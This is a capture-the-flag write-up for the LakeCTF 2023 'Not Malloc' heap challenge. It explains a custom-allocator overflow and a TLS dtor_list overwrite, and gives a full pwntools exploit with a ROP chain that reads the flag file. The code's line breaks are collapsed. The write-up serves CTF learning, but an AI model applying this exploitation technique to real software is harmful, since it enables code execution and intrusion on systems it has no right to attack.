## Not Malloc
was a pwn challenge from LakeCTF Quals 2023.
Basically, we can say that it was an heap challenge but with a custom allocator, full of bugs, like an old dog full of fleas..
Here is a short write-ups to explain the exploitation.
In this custom allocator data & metadata were separated. 
You can allocate as much data that you want for heap at startup, with a minimum of 0x4000 bytes.
I quickly spot that you can have a overflow in `metadata_heap`, when you allocate a chunk bigger than data size.
In the docker, the `heap` & `metada_heap` are allocated just before tls-storage (which is just before libc), so we can also have an overflow in tls-storage. 
When you free a chunk, the allocator leaves a metada address in `metadata_heap`..
So our plan for exploitation is simple:
- we first ask for an heap size of 0x4000 bytes (the minimum)
- then we allocate 3 chunks, two smalls, and a big one that overflow metadata_heap
- then we free the small chunks, that will leave an metada_heap address in our big chunk.
- then we leak this metadata_heap address by displaying big chunk, and calculate `libc` base and `tls-storage` address with it, as they are mapped just next to our region.
- then we create another chunk that will overflow `tls-storage`, where we will stack pivot, and execute a ROP to dump the flag
  I used method number #5: 
   [https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc#5---code-execution-via-tls-storage-dtor_list-overwrite](https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc#5---code-execution-via-tls-storage-dtor_list-overwrite)
We will get code execution by creating a fake dtor_list structure in tls-storage as explain in my doc above.
And that's all :)
here is the exploit commented:
```python#!/usr/bin/env python# -*- coding: utf-8 -*-import psutilfrom pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'info'
# shortcutsdef logbase(): log.info("libc base = %#x" % libc.address)def logleak(name, val):  log.info(name+" = %#x" % val)def sa(delim,data): return p.sendafter(delim,data)def sla(delim,line): return p.sendlineafter(delim,line)def sl(line): return p.sendline(line)def rcu(d1, d2=0):  p.recvuntil(d1, drop=True)  # return data between d1 and d2  if (d2):    return p.recvuntil(d2,drop=True)
exe = ELF('./chal')libc = ELF('./libc.so.6')
if args.REMOTE:  host, port = "chall.polygl0ts.ch", "9004"else:  host, port = "127.0.0.1", "5000"
p = remote(host,port)
def create(idx,data,size=0):  sla('> ','1')  sla('index > ', str(idx))  if (size==0):    size = len(data)+1  sla('size > ', str(size))  sla('content > ', data)
def show(idx):  sla('> ','2')  sla('index > ', str(idx))
def free(idx):  sla('> ','3')  sla('index > ', str(idx)) 
sla('HEAP SIZE > ', '4000')sla('> ', '2')
create(0,'A')create(1,'B')
payload = b'C'*8096payload += b'0'*0x20+ (p64(0)+p64(0x20)+p64(0)*2)*2payload += p64(0)+p64(0x4000)+p64(1)+p64(0)create(2,payload)# free bins to leave a meatadata_heap address in memoryfree(1)free(0)# leak metadata_heap entry addressshow(2)meta = u64(rcu(b'0'*0x20,b'\n').ljust(8,b'\x00'))-0x40# calculate tls-storage addresstls = meta+0x4740libc.address = tls+0x28c0logbase()logleak('metadata_heap', meta)logleak('tls',tls)
rop = ROP(libc)pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]pop_rdx = rop.find_gadget(['pop rdx','pop r12', 'ret'])[0]pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]syscall = rop.find_gadget(['syscall', 'ret'])[0]
xchg_edi_eax = libc.address+0x000000000014a385 # xchg edi, eax ; retxchg_edx_eax = libc.address+0x00000000000cea5a # xchg edx, eax ; ret
# we gonna overflow and forge a fake dtor_list in tls-storage# as explained there: https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc#5---code-execution-via-tls-storage-dtor_list-overwrite#payload = b'O'*17936payload += p64(tls+0x21ce40)+p64(tls+0x224c00)+p64(0)+p64(tls+0x1c0d80)+p64(tls+0x1c1380)+p64(tls+0x1c1c80)# pivot on tls and jump over payload += p64(0)+p64(tls-0x50)+p64((libc.address+0x00000000000562ec)<<17)+p64(libc.address+0x0000000000114886)payload += p64(0)*8# --payload += p64(tls)+p64(tls+0xa20)+p64(tls)payload += b'/app/flag'.ljust(0x20,b'\x00')# our ROP start here# fd = open('/app/flag',O_RDONLY)payload += p64(pop_rdi)+p64(tls+0x18)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)# size = read(fd, tls-0x200, 128)payload += p64(xchg_edi_eax)+p64(pop_rsi)+p64(tls-0x200)+p64(pop_rdx)+p64(128)*2+p64(libc.sym['read'])# write(1, tls-0x200, size)payload += p64(xchg_edx_eax) + p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(tls-0x200)+p64(libc.sym['write'])# overflow tls-storagecreate(2,payload)# jump to our payloadsla('> ', '4')
p.interactive()```
**nobodyisnobody still hacking something...**